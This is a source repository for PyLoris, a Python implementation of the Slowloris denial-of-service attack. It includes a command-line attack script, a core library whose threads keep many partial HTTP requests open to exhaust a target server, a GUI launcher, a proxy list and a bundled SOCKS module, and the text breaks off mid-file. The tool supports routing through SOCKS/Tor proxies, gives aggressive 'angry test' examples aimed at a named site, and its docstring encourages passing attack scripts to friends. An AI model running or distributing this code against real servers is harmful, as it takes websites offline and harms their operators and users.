├── httploris.py ├── libloris.py ├── proxy.txt ├── pyloris.py ├── socks.py ├── start.bat ├── start_httploris.bat └── tor_switcher.py /httploris.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | httploris.py 5 | This is the current version of the original functionality of pyloris. This script 6 | is invoked quite similarly to the original pyloris.py; however, some of the arguemnts 7 | have changed. Use httploris.py --help to see the current features supported. 8 | 9 | [EXAMPLE] A basic test: 10 | httploris.py motomastyle.com 11 | 12 | [EXAMPLE] A basic test over HTTPS 13 | httploris.py motomastyle.com --ssl -p 443 14 | 15 | [EXAMPLE] A continuous test: 16 | httploris.py motomastyle.com -c 0 17 | 18 | [EXAMPLE] An angry test: 19 | httploris.py motomastyle.com -c 0 -k -P "/index.html" -s 500000 -w 0.5 -b 0.5 -r POST -u "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.33 Safari/530.5" 20 | 21 | [EXAMPLE] A test through SOCKS5 (i.e. Vidalia): 22 | httploris.py motomastyle.com --socksversion 5 --sockshost 127.0.0.1 --socksport 9050 23 | 24 | CONTRIBUTORS 25 | Version 1.02 Vlad 26 | Class ScriptLoris() implemented. Minor changes and Bug fixes. 27 | Version 1.03 ---- 28 | ------- 29 | """ 30 | 31 | import optparse 32 | import sys 33 | 34 | from libloris import * 35 | 36 | def parse_options(): 37 | parser = optparse.OptionParser(usage = "%prog [options] www.host.com") 38 | parser.add_option("-a", "--attacklimit", action = "store", type = "int", dest = "attacklimit", default = 500, help = "Total number of connections to make (0 = unlimited, default = 500)") 39 | parser.add_option("-c", "--connectionlimit", action = "store", type = "int", dest = "connectionlimit", default = 500, help = "Total number of concurrent connections to allow (0 = unlimited, default = 500)") 40 | parser.add_option("-t", "--threadlimit", action = "store", type = "int", dest = "threadlimit", default = 50, help = "Total number of concurrent threads (0 = unlimited, default = 50)") 41 | parser.add_option("-b", "--connectionspeed", action = "store", type = "float", dest = "connectionspeed", default = 1, help = "Individual connection bandwidth in bytes per second (default = 1)") 42 | 43 | parser.add_option("-f", "--finish", action = "store_true", dest = "finish", default = False, help = "Complete each session rather than leave them unfinished (lessens the effectiveness, increases bandwidth usage)") 44 | parser.add_option("-k", "--keepalive", action = "store_true", dest = "keepalive", default = False, help = "Turn Keep-Alive on") 45 | 46 | parser.add_option("-p", "--port", action = "store", type = "int", dest = "port", default = 80, help = "Port to initiate attack on (default = 80)") 47 | parser.add_option("-P", "--page", action = "store", type = "string", dest="page", default = '/', help = "Page to request from the server (default = /)") 48 | parser.add_option("-q", "--quit", action = "store_true", dest = "quit", default = False, help = "Quit without receiving data from the server (can shorten the duration of the attack)") 49 | parser.add_option("-r", "--requesttype", action = "store", type = "string", dest = "requesttype", default = 'GET', help = "Request type, GET, HEAD, POST, PUT, DELETE, OPTIONS, or TRACE (default = GET)") 50 | parser.add_option("-R", "--referer", action = "store", type = "string", dest = "referer", default = '', help = "Set the Referer HTTP header.") 51 | parser.add_option("-s", "--size", action = "store", type = "int", dest = "size", default = 1, help = "Size of data segment to attach in cookie (default = 0)") 52 | parser.add_option("-S", "--ssl", action = "store_true", dest = "ssl", default = False, help = "Use SSL/TLS connection (for HTTPS testing)") 53 | parser.add_option("-u", "--useragent", action = "store", type = "string", dest = "useragent", default = '', help = "The User-Agent string for connections (defaut = pyloris.sf.net)") 54 | parser.add_option("-z", "--gzip", action = "store_true", dest = "gzip", default = False, help = "Request compressed data stream") 55 | 56 | parser.add_option("-w", "--timebetweenthreads", action = "store", type = "float", dest = "timebetweenthreads", default = 0, help = "Time to wait between spawning threads in seconds (default = 0)") 57 | parser.add_option("-W", "--timebetweenconnections", action = "store", type = "float", dest = "timebetweenconnections", default = 1, help = "Time to wait in between starting connections (default = 1)") 58 | 59 | parser.add_option("", "--socksversion", action = "store", type = "string", dest = "socksversion", default = '', help = "SOCKS version, SOCKS4, SOCKS5, or HTTP. Reqires --sockshost and --socksport") 60 | parser.add_option("", "--sockshost", action = "store", type = "string", dest = "sockshost", default = '127.0.0.1', help = "SOCKS host address (default = 127.0.0.1)") 61 | parser.add_option("", "--socksport", action = "store", type = "int", dest = "socksport", default = 0, help = "SOCKS port number") 62 | parser.add_option("", "--socksuser", action = "store", type = "string", dest = "socksuser", default = '', help = "SOCKS username") 63 | parser.add_option("", "--sockspass", action = "store", type = "string", dest = "sockspass", default = '', help = "SOCKS password") 64 | 65 | parser.add_option("-v", "--verbosity", action = "store", type = "int", dest = "verbosity", default = 1, help = "Verbosity level") 66 | parser.add_option("", "--post", action = "store", type = "string", dest = "post", default = '', help = "Post data to send") 67 | parser.add_option("", "--contenttype", action = "store", type = "string", dest = "contenttype", default = 'text/html', help = "Post data type") 68 | parser.add_option("", "--cookie", action = "store", type = "string", dest = "cookie", default = '', help = "Cookie data") 69 | parser.add_option("", "--trylimit", action = "store", type = "int", dest = "trylimit", default = 10, help = "Number of tries to connect") 70 | 71 | (options, args) = parser.parse_args() 72 | 73 | sys.stdout.write("PyLoris, a Python implementation of the Slowloris attack (http://ha.ckers.org/slowloris).\r\n") 74 | 75 | if len(args) != 1: 76 | sys.stderr.write("No host supplied or incorrect number of arguments used.\nUse -h or --help for more information\n") 77 | print args 78 | sys.exit(1) 79 | 80 | OptionSet = DefaultOptions() 81 | 82 | OptionSet['host'] = args[0] 83 | OptionSet['port'] = options.port 84 | OptionSet['ssl'] = options.ssl 85 | OptionSet['attacklimit'] = options.attacklimit 86 | OptionSet['connectionlimit'] = options.connectionlimit 87 | OptionSet['threadlimit'] = options.threadlimit 88 | OptionSet['trylimit'] = options.trylimit 89 | OptionSet['timebetweenthreads'] = options.timebetweenthreads 90 | OptionSet['timebetweenconnections'] = options.timebetweenconnections 91 | OptionSet['connectionspeed'] = options.connectionspeed 92 | OptionSet['socksversion'] = options.socksversion 93 | OptionSet['sockshost'] = options.sockshost 94 | OptionSet['socksport'] = options.socksport 95 | OptionSet['socksuser'] = options.socksuser 96 | OptionSet['sockspass'] = options.sockspass 97 | OptionSet['quitimmediately'] = options.quit 98 | 99 | requesttype = options.requesttype.upper() 100 | if requesttype not in ('GET', 'HEAD', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE'): 101 | sys.stderr.write('Invalid request type.\nUse -h or --help for more information') 102 | sys.exit(3) 103 | 104 | request = '%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s' % (requesttype, options.page, args[0], options.useragent) 105 | if options.size > 100: 106 | count = options.size / 100 107 | for i in range(int(count)): 108 | request += ('data%i=%s&' % (i, options.useragent * 100)) 109 | request += 'data=' + (options.useragent * 100) 110 | else: 111 | request += 'data=' + (options.useragent * options.size) 112 | 113 | if options.keepalive == True: 114 | request += '\r\nKeep-Alive: 300\r\nConnection: Keep-Alive' 115 | 116 | if options.gzip == True: 117 | request += '\r\nAccept-Encoding: gzip, deflate' 118 | 119 | if options.referer != '': 120 | request += '\r\nReferer: %s' % (options.referer) 121 | 122 | if options.cookie != '': 123 | request += '\r\nCookie: ' 124 | if options.size > 100: 125 | count = options.size / 100 126 | for i in range(int(count)): 127 | request += ('data%i=%s&' % (i, options.cookie * 100)) 128 | request += 'data=' + (options.cookie * 100) 129 | else: 130 | request += 'data=' + (options.cookie * options.size) 131 | 132 | if requesttype == 'POST': 133 | print 'POST method' 134 | request += '\r\nContent-Type: %s' % (options.contenttype) 135 | request += '\r\nContent-Length: %i' % (len(options.post) * options.size) 136 | 137 | request += '\r\n' 138 | 139 | if options.finish == True: 140 | print 'Specifying the -f or --finish flags can reduce the effectiveness of the test and increase bandwidth usage.' 141 | request += '\r\n' 142 | 143 | if requesttype == 'POST': 144 | request += options.post * options.size 145 | 146 | OptionSet['request'] = request 147 | 148 | return OptionSet 149 | 150 | if __name__ == "__main__": 151 | loris=ScriptLoris() 152 | loris.options = parse_options() 153 | loris.mainloop() 154 | -------------------------------------------------------------------------------- /libloris.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | """ 4 | libloris.py 5 | This is the main bulk of the PyLoris toolkit. This file contains: 6 | 7 | def DefaultOptions 8 | - The DefaultOptions function will populate a dict containing all the required 9 | options for running a basic PyLoris attack. 10 | 11 | class Loris 12 | - The Loris class is the hammer with which targets are struck. After 13 | instantiating this class, one must feed a dict containing connection options 14 | through the .LoadOptions member function. After the options are loaded, calling 15 | the .start member function will initiate the attack according to options 16 | specified. While an attack is underway, one may check the .status for a tuple of 17 | (# of total attacks started, # of attack threads, # of current open sockets). 18 | From there, you should call .messages.get, errors.get, and debug.get occasionally 19 | to gather additional information from PyLoris. 20 | 21 | See class ScriptLoris for a basic usage of the Loris class. 22 | 23 | class ScriptLoris 24 | - This is a base class for building attack scripts for rapid use or distribution. 25 | Simply instantiate a ScriptLoris object, the .options dict properties, and 26 | call .mainloop. Once you are satisfied with the results, pass the script along 27 | to your friends! 28 | """ 29 | 30 | # Base modules 31 | import Queue 32 | import socket 33 | import thread 34 | import threading 35 | import time 36 | 37 | # Some import trickery to get SSL working across Python 2.x versions. 38 | try: 39 | from ssl import wrap_socket 40 | except: 41 | wrap_socket = socket.ssl 42 | 43 | # Local modules 44 | import socks 45 | 46 | def DefaultOptions(): 47 | return { 48 | 'host' : 'localhost', # Host to attack 49 | 'port' : 80, # Port to connect to 50 | 'ssl' : False, # Use SSL connections 51 | 52 | 'attacklimit' : 500, # Total number of times to attack (0 for unlimited) 53 | 'connectionlimit' : 500, # Total number of concurrent connections (0 for unlimited) 54 | 'threadlimit' : 50, # Total number of threads (0 for unlimited) 55 | 'trylimit' : 10, # Total number of tries to connect (0 for unlimited) 56 | 'connectionspeed' : 1, # Connection speed in bytes/second 57 | 'timebetweenthreads' : 1, # Time delay between starting threads 58 | 'timebetweenconnections' : 1, # Time delay between starting connections 59 | 'quitimmediately' : False, # Close connections immediately after completing request 60 | 61 | 'socksversion' : '', # Enable SOCKS proxy, set to SOCKS4, SOCKS5, or HTTP 62 | 'sockshost' : '', # SOCKS host 63 | 'socksport' : 0, # SOCKS port 64 | 'socksuser' : '', # SOCKS username 65 | 'sockspass' : '', # SOCKS password 66 | 67 | 'request' : '', # The main body of the attack 68 | } 69 | 70 | class Loris(threading.Thread): 71 | options = {} 72 | 73 | running = False 74 | attacks = 0 75 | threads = 0 76 | sockets = 0 77 | tries = 0 78 | 79 | def __init__(self): 80 | threading.Thread.__init__(self) 81 | self.connections = Queue.Queue() 82 | self.errors = Queue.Queue() 83 | self.messages = Queue.Queue() 84 | self.debug = Queue.Queue() 85 | self.options = DefaultOptions() 86 | 87 | def LoadOptions(self, o): 88 | self.options = o.copy() 89 | 90 | def run(self): 91 | self.messages.put('PyLoris is starting up.') 92 | self.running = True 93 | 94 | thread.start_new_thread(self.build_sockets, ()) 95 | 96 | for id in range(self.options['threadlimit']): 97 | thread.start_new_thread(self.attack, (id,)) 98 | self.threads += 1 99 | if self.options['timebetweenthreads'] > 0: 100 | time.sleep(self.options['timebetweenthreads']) 101 | 102 | def build_sockets(self): 103 | self.debug.put('Socket Builder started.') 104 | count = 0 105 | while (self.options['attacklimit'] == 0 or self.options['attacklimit'] > self.attacks) and self.running: 106 | if self.options['connectionlimit'] > self.sockets: 107 | if self.options['socksversion'] == 'SOCKS4' or self.options['socksversion'] == 'SOCKS5' or self.options['socksversion'] == 'HTTP': 108 | if self.options['socksversion'] == 'SOCKS4': proxytype = socks.PROXY_TYPE_SOCKS4 109 | elif self.options['socksversion'] == 'SOCKS5': proxytype = socks.PROXY_TYPE_SOCKS5 110 | else: proxytype = socks.PROXY_TYPE_HTTP 111 | s = socks.socksocket() 112 | if self.options['socksuser'] == '' and self.options['sockspass'] == '': 113 | s.setproxy(proxytype, self.options['sockshost'], self.options['socksport'], self.options['socksuser'], self.options['sockspass']) 114 | else: 115 | s.setproxy(proxytype, self.options['sockshost'], self.options['socksport']) 116 | else: 117 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 118 | 119 | try: 120 | s.connect((self.options['host'], self.options['port'])) 121 | if self.options['ssl'] == True: 122 | wrap_socket(s) 123 | self.connections.put((s, 0)) 124 | self.debug.put('Socket opened, connection created.') 125 | self.attacks += 1 126 | self.sockets += 1 127 | self.tries = 0 128 | except Exception, ex: 129 | self.errors.put('Could not connect. %s.' % (ex)) 130 | self.tries +=1 131 | if self.sockets == 0 and self.tries == self.options['trylimit']: 132 | self.debug.put('Try limit reached, all sockets closed. Shutting down.') 133 | self.running = False 134 | if self.options['timebetweenconnections'] > 0: 135 | time.sleep(self.options['timebetweenconnections']) 136 | self.debug.put('Socket Builder finished.') 137 | 138 | def attack(self, id): 139 | self.debug.put('Attack thread %i started' % (id)) 140 | Ok = 1 141 | while self.running: 142 | (s, index) = self.connections.get() 143 | try: 144 | if len(self.options['request']) > index: 145 | s.send(self.options['request'][index]) 146 | index += 1 147 | self.connections.put((s, index)) 148 | elif self.options['quitimmediately'] == False: 149 | data = s.recv(1024) 150 | if not len(data): 151 | s.close() 152 | self.debug.put('Socket closed, data tranfer finished.') 153 | self.sockets -= 1 154 | else: 155 | self.connections.put((s, index)) 156 | if Ok == 0: 157 | if data.find('Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8e') != -1: 158 | f = open('LiveProxy.txt', 'a') 159 | f.write(self.options['sockshost'] + ':' + str(self.options['socksport']) + '\n') 160 | f = open('Response.txt', 'w') 161 | f.write(str(data)) 162 | Ok = 1 163 | else: 164 | s.close() 165 | self.debug.put('Socket closed, target do not respond properly.') 166 | self.sockets -= 1 167 | else: 168 | s.close() 169 | self.debug.put('Socket closed, not waiting for response.') 170 | self.sockets -= 1 171 | except Exception, ex: 172 | self.errors.put(ex) 173 | self.debug.put('Socket closed, an exception occurred.') 174 | s.close() 175 | self.sockets -= 1 176 | if self.sockets == 0 and self.options['attacklimit']!= 0 and (self.attacks == self.options['attacklimit'] or self.tries > self.options['trylimit']): 177 | self.debug.put('Attack limit reached, all sockets closed. Shutting down.') 178 | self.running = False 179 | elif self.sockets > 0 and self.options['connectionspeed'] > 0: 180 | time.sleep(1 / self.options['connectionspeed'] / self.sockets * self.threads) 181 | elif self.options['connectionspeed'] > 0: 182 | time.sleep(1 / self.options['connectionspeed'] * self.threads) 183 | self.debug.put('Attack thread %i finished.' % (id)) 184 | self.threads -= 1 185 | 186 | def status(self): 187 | return (self.attacks, self.threads, self.sockets) 188 | 189 | def stop(self): 190 | self.messages.put('PyLoris is shutting down.') 191 | self.running = False 192 | while not self.connections.empty(): 193 | try: 194 | s = self.connections.get(True, 30) 195 | s.close() 196 | self.sockets -= 1 197 | except: 198 | pass 199 | 200 | class ScriptLoris(Loris): 201 | def __init__(self): 202 | self.options = DefaultOptions() 203 | Loris.__init__(self) 204 | 205 | def mainloop(self): 206 | self.start() 207 | time.sleep(1) 208 | while self.running: 209 | status = self.status() 210 | 211 | try: 212 | while True: 213 | message = self.messages.get(False) 214 | print('[MESSAGE] %s' %(message)) 215 | except: 216 | pass 217 | 218 | try: 219 | while True: 220 | debug = self.debug.get(False) 221 | print('[DEBUG] %s' %(debug)) 222 | except: 223 | pass 224 | 225 | try: 226 | while True: 227 | error = self.errors.get(False) 228 | print('[ERROR] %s' %(error)) 229 | except: 230 | pass 231 | 232 | print 'Loris has started %i attacks, with %i threads and %i connections currently running.' % status 233 | time.sleep(1) 234 | 235 | status = self.status() 236 | print 'Pyloris has completed %i attacks.' % (status[0]) 237 | -------------------------------------------------------------------------------- /proxy.txt: -------------------------------------------------------------------------------- 1 | 192.168.205.1:8080 2 | 192.168.205.2:8080 3 | 192.168.205.3:8080 -------------------------------------------------------------------------------- /pyloris.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python 2 | 3 | """ 4 | pyloris.py 5 | This is the new face of PyLoris. Simply invoking this script will present 6 | the flashy new Tkinter GUI. All connections options are on the left, while 7 | the main request body is located in the text area on the right. Multiple 8 | attack instances can be run simultaneously, with different connection 9 | and request body parameters. One caveat is that PyLoris will continue to 10 | silently run in the background unless the main window is closed or the "Stop 11 | Attack" button is clicked. 12 | """ 13 | 14 | from Tkinter import BooleanVar 15 | from Tkinter import * 16 | from Tkinter import Toplevel 17 | import time 18 | 19 | from libloris import * 20 | 21 | class MainWindow(Tk): 22 | def __init__(self): 23 | Tk.__init__(self) 24 | self.title(string = ".o0O| PyLoris |O0o.") 25 | self.lws = [] 26 | 27 | self.options = { 28 | 'host' : StringVar(), 29 | 'port' : IntVar(), 30 | 'ssl' : BooleanVar(), 31 | 'attacklimit' : IntVar(), 32 | 'connectionlimit' : IntVar(), 33 | 'threadlimit' : IntVar(), 34 | 'connectionspeed' : DoubleVar(), 35 | 'timebetweenthreads' : DoubleVar(), 36 | 'timebetweenconnections' : DoubleVar(), 37 | 'quitimmediately' : BooleanVar(), 38 | 'socksversion' : StringVar(), 39 | 'sockshost' : StringVar(), 40 | 'socksport' : IntVar(), 41 | 'socksuser' : StringVar(), 42 | 'sockspass' : StringVar(), 43 | 'request' : StringVar(), 44 | } 45 | 46 | self.options['host'].set('localhost') 47 | self.options['port'].set(80) 48 | self.options['ssl'].set(False) 49 | self.options['attacklimit'].set(500) 50 | self.options['connectionlimit'].set(500) 51 | self.options['threadlimit'].set(50) 52 | self.options['connectionspeed'].set(0.3) 53 | self.options['timebetweenthreads'].set(0.3) 54 | self.options['timebetweenconnections'].set(1) 55 | self.options['quitimmediately'].set(False) 56 | self.options['socksversion'].set('NONE') 57 | self.options['sockshost'].set('localhost') 58 | self.options['socksport'].set(9050) 59 | self.options['socksuser'].set('') 60 | self.options['sockspass'].set('') 61 | 62 | gf = LabelFrame(self, text = 'General', relief = GROOVE, labelanchor = 'nw', width = 400, height = 90) 63 | gf.grid(row = 0, column = 1) 64 | gf.grid_propagate(0) 65 | Label(gf, text = 'Host:').grid(row = 0, column = 1) 66 | Entry(gf, textvariable = self.options['host']).grid(row = 0, column = 2, columnspan = 2) 67 | Label(gf, text = 'Port:').grid(row = 1, column = 1) 68 | Entry(gf, textvariable = self.options['port']).grid(row = 1, column = 2, columnspan = 2) 69 | Checkbutton(gf, text = 'SSL', variable = self.options['ssl']).grid(row = 2, column = 1) 70 | 71 | bf = LabelFrame(self, text = 'Behavior', relief = GROOVE, labelanchor = 'nw', width = 400, height = 170) 72 | bf.grid(row = 1, column = 1) 73 | bf.grid_propagate(0) 74 | Label(bf, text = 'Attack Limit (0 = No limit):').grid(row = 0, column = 1) 75 | Entry(bf, textvariable = self.options['attacklimit']).grid(row = 0, column = 2) 76 | Label(bf, text = 'Connection Limit (0 = No limit):').grid(row = 1, column = 1) 77 | Entry(bf, textvariable = self.options['connectionlimit']).grid(row = 1, column = 2) 78 | Label(bf, text = 'Thread Limit (0 = No limit):').grid(row = 2, column = 1) 79 | Entry(bf, textvariable = self.options['threadlimit']).grid(row = 2, column = 2) 80 | Label(bf, text = 'Connection speed (bytes/sec):').grid(row = 3, column = 1) 81 | Entry(bf, textvariable = self.options['connectionspeed']).grid(row = 3, column = 2) 82 | Label(bf, text = 'Time between thread spawns (seconds):').grid(row = 4, column = 1) 83 | Entry(bf, textvariable = self.options['timebetweenthreads']).grid(row = 4, column = 2) 84 | Label(bf, text = 'Time between connections (seconds):').grid(row = 5, column = 1) 85 | Entry(bf, textvariable = self.options['timebetweenconnections']).grid(row = 5, column = 2) 86 | Checkbutton(bf, text = 'Close finished connections', variable = self.options['quitimmediately']).grid(row = 6, column = 1, columnspan = 2) 87 | 88 | pf = LabelFrame(self, text = 'Proxy', relief = GROOVE, labelanchor = 'nw', width = 400, height = 130) 89 | pf.grid(row = 2, column = 1) 90 | pf.grid_propagate(0) 91 | Label(pf, text = 'Proxy type (SOCKS4/SOCKS5/HTTP/NONE)').grid(row = 0, column = 1) 92 | Entry(pf, textvariable = self.options['socksversion']).grid(row = 0, column = 2) 93 | Label(pf, text = 'Proxy Hostname / IP Address').grid(row = 1, column = 1) 94 | Entry(pf, textvariable = self.options['sockshost']).grid(row = 1, column = 2) 95 | Label(pf, text = 'Proxy Port').grid(row = 2, column = 1) 96 | Entry(pf, textvariable = self.options['socksport']).grid(row = 2, column = 2) 97 | Label(pf, text = 'Proxy Username').grid(row = 3, column = 1) 98 | Entry(pf, textvariable = self.options['socksuser']).grid(row = 3, column = 2) 99 | Label(pf, text = 'Proxy Password').grid(row = 4, column = 1) 100 | Entry(pf, textvariable = self.options['sockspass']).grid(row = 4, column = 2) 101 | 102 | Button(self, text = "Launch", command = self.launch).grid(row = 3, column = 1) 103 | 104 | df = LabelFrame(self, text = 'Request Body', relief = GROOVE, labelanchor = 'nw') 105 | df.grid(row = 0, column = 2, rowspan = 4) 106 | self.options['request'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=NONE, height = 28, width = 80) 107 | self.options['request'].grid(row = 0, column = 1) 108 | self.options['request'].insert(END, 'GET / HTTP/1.1\r\nHost: www.example.com\r\nKeep-Alive: 300\r\nConnection: Keep-Alive\r\nReferer: http://www.demonstration.com/\r\n') 109 | self.options['request'].insert(END, 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1045 Safari/532.5\r\n') 110 | self.options['request'].insert(END, 'Cookie: data1=' + ('A' * 100) + '&data2=' + ('A' * 100) + '&data3=' + ('A' * 100) + '\r\n') 111 | 112 | 113 | def launch(self): 114 | lorisoptions = DefaultOptions() 115 | for key in self.options.keys(): 116 | if key == 'request': lorisoptions[key] = self.options[key].get('1.0', END) 117 | elif key == 'quitimmediately' or key == 'ssl': 118 | if self.options[key].get() == 0: 119 | lorisoptions[key] = False 120 | else: lorisoptions[key] = self.options[key].get() 121 | else: lorisoptions[key] = self.options[key].get() 122 | 123 | self.lws.append(LorisWindow('%s:%i' % (lorisoptions['host'], lorisoptions['port']), lorisoptions)) 124 | 125 | def checkloop(self): 126 | thread.start_new_thread(self.check, ()) 127 | 128 | def check(self): 129 | while True: 130 | for lw in self.lws: 131 | lw.check() 132 | time.sleep(1) 133 | 134 | class LorisWindow(Toplevel): 135 | def __init__(self, title, options): 136 | Toplevel.__init__(self) 137 | self.title(string = title) 138 | self.loris = Loris() 139 | self.loris.LoadOptions(options) 140 | self.elements = {'attacks' : StringVar(), 'threads' : StringVar(), 'sockets' : StringVar()} 141 | self.loris.start() 142 | 143 | sf = LabelFrame(self, text = 'Status', width = 180, height = 138) 144 | sf.grid(row = 0, column = 1) 145 | sf.grid_propagate(0) 146 | Label(sf, text = 'Target: %s:%i' % (options['host'], options['port'])).grid(row = 0, column = 1) 147 | Label(sf, text = 'Attacks: 0', textvar = self.elements['attacks']).grid(row = 1, column = 1) 148 | Label(sf, text = 'Threads: 0', textvar = self.elements['threads']).grid(row = 2, column = 1) 149 | Label(sf, text = 'Sockets: 0', textvar = self.elements['sockets']).grid(row = 3, column = 1) 150 | Button(sf, text = 'Stop Attack', command = self.loris.stop).grid(row = 4, column = 1) 151 | 152 | df = LabelFrame(self, text = 'Log') 153 | df.grid(row = 0, column = 2) 154 | self.elements['logs'] = Text(df, foreground="white", background="black", highlightcolor="white", highlightbackground="purple", wrap=WORD, height = 8, width = 80) 155 | self.elements['logs'].grid(row = 0, column = 1) 156 | 157 | def check(self): 158 | status = self.loris.status() 159 | self.elements['attacks'].set('Attacks: %i' % (status[0])) 160 | self.elements['threads'].set('Threads: %i' % (status[1])) 161 | self.elements['sockets'].set('Sockets: %i' % (status[2])) 162 | 163 | try: 164 | while True: 165 | message = self.loris.messages.get(False) 166 | self.elements['logs'].insert(END, '%s\n' % message) 167 | self.elements['logs'].yview_moveto(1.0) 168 | except: 169 | pass 170 | 171 | try: 172 | while True: 173 | debug = self.loris.debug.get(False) 174 | self.elements['logs'].insert(END, '%s\n' % debug) 175 | self.elements['logs'].yview_moveto(1.0) 176 | except: 177 | pass 178 | 179 | try: 180 | while True: 181 | error = self.loris.errors.get(False) 182 | self.elements['logs'].insert(END, '[ERROR]: %s\n' % error) 183 | self.elements['logs'].yview_moveto(1.0) 184 | except: 185 | pass 186 | 187 | if __name__ == '__main__': 188 | try: 189 | mw = MainWindow() 190 | mw.checkloop() 191 | mw.mainloop() 192 | except Exception, ex: 193 | print('There was an error: %s.\nQuitting.' % ex) 194 | -------------------------------------------------------------------------------- /socks.py: -------------------------------------------------------------------------------- 1 | """SocksiPy - Python SOCKS module. 2 | Version 1.00 3 | 4 | Copyright 2006 Dan-Haim. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without modification, 7 | are permitted provided that the following conditions are met: 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 3. Neither the name of Dan Haim nor the names of his contributors may be used 14 | to endorse or promote products derived from this software without specific 15 | prior written permission. 16 | 17 | THIS SOFTWARE IS PROVIDED BY DAN HAIM "AS IS" AND ANY EXPRESS OR IMPLIED 18 | WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 19 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO 20 | EVENT SHALL DAN HAIM OR HIS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, 21 | INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 22 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA 23 | OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 24 | LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT 25 | OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMANGE. 26 | 27 | 28 | This module provides a standard socket-like interface for Python 29 | for tunneling connections through SOCKS proxies. 30 | 31 | """ 32 | 33 | """ 34 | 35 | Minor modifications made by Christopher Gilbert (http://motomastyle.com/) 36 | for use in PyLoris (http://pyloris.sourceforge.net/) 37 | 38 | Minor modifications made by Mario Vilas (http://breakingcode.wordpress.com/) 39 | mainly to merge bug fixes found in Sourceforge 40 | 41 | """ 42 | 43 | import socket 44 | import struct 45 | import sys 46 | import time 47 | 48 | PROXY_TYPE_SOCKS4 = 1 49 | PROXY_TYPE_SOCKS5 = 2 50 | PROXY_TYPE_HTTP = 3 51 | 52 | _defaultproxy = None 53 | _orgsocket = socket.socket 54 | 55 | class ProxyError(Exception): pass 56 | class GeneralProxyError(ProxyError): pass 57 | class Socks5AuthError(ProxyError): pass 58 | class Socks5Error(ProxyError): pass 59 | class Socks4Error(ProxyError): pass 60 | class HTTPError(ProxyError): pass 61 | 62 | _generalerrors = ("success", 63 | "invalid data", 64 | "not connected", 65 | "not available", 66 | "bad proxy type", 67 | "bad input") 68 | 69 | _socks5errors = ("succeeded", 70 | "general SOCKS server failure", 71 | "connection not allowed by ruleset", 72 | "Network unreachable", 73 | "Host unreachable", 74 | "Connection refused", 75 | "TTL expired", 76 | "Command not supported", 77 | "Address type not supported", 78 | "Unknown error") 79 | 80 | _socks5autherrors = ("succeeded", 81 | "authentication is required", 82 | "all offered authentication methods were rejected", 83 | "unknown username or invalid password", 84 | "unknown error") 85 | 86 | _socks4errors = ("request granted", 87 | "request rejected or failed", 88 | "request rejected because SOCKS server cannot connect to identd on the client", 89 | "request rejected because the client program and identd report different user-ids", 90 | "unknown error") 91 | 92 | def setdefaultproxy(proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 93 | """setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 94 | Sets a default proxy which all further socksocket objects will use, 95 | unless explicitly changed. 96 | """ 97 | global _defaultproxy 98 | _defaultproxy = (proxytype, addr, port, rdns, username, password) 99 | 100 | def wrapmodule(module): 101 | """wrapmodule(module) 102 | Attempts to replace a module's socket library with a SOCKS socket. Must set 103 | a default proxy using setdefaultproxy(...) first. 104 | This will only work on modules that import socket directly into the namespace; 105 | most of the Python Standard Library falls into this category. 106 | """ 107 | if _defaultproxy != None: 108 | module.socket.socket = socksocket 109 | else: 110 | raise GeneralProxyError((4, "no proxy specified")) 111 | 112 | class socksocket(socket.socket): 113 | """socksocket([family[, type[, proto]]]) -> socket object 114 | Open a SOCKS enabled socket. The parameters are the same as 115 | those of the standard socket init. In order for SOCKS to work, 116 | you must specify family=AF_INET, type=SOCK_STREAM and proto=0. 117 | """ 118 | 119 | def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None): 120 | _orgsocket.__init__(self, family, type, proto, _sock) 121 | if _defaultproxy != None: 122 | self.__proxy = _defaultproxy 123 | else: 124 | self.__proxy = (None, None, None, None, None, None) 125 | self.__proxysockname = None 126 | self.__proxypeername = None 127 | 128 | def __recvall(self, count): 129 | """__recvall(count) -> data 130 | Receive EXACTLY the number of bytes requested from the socket. 131 | Blocks until the required number of bytes have been received. 132 | """ 133 | data = self.recv(count) 134 | while len(data) < count: 135 | d = self.recv(count-len(data)) 136 | if not d: raise GeneralProxyError((0, "connection closed unexpectedly")) 137 | data = data + d 138 | return data 139 | 140 | def setproxy(self, proxytype=None, addr=None, port=None, rdns=True, username=None, password=None): 141 | """setproxy(proxytype, addr[, port[, rdns[, username[, password]]]]) 142 | Sets the proxy to be used. 143 | proxytype - The type of the proxy to be used. Three types 144 | are supported: PROXY_TYPE_SOCKS4 (including socks4a), 145 | PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP 146 | addr - The address of the server (IP or 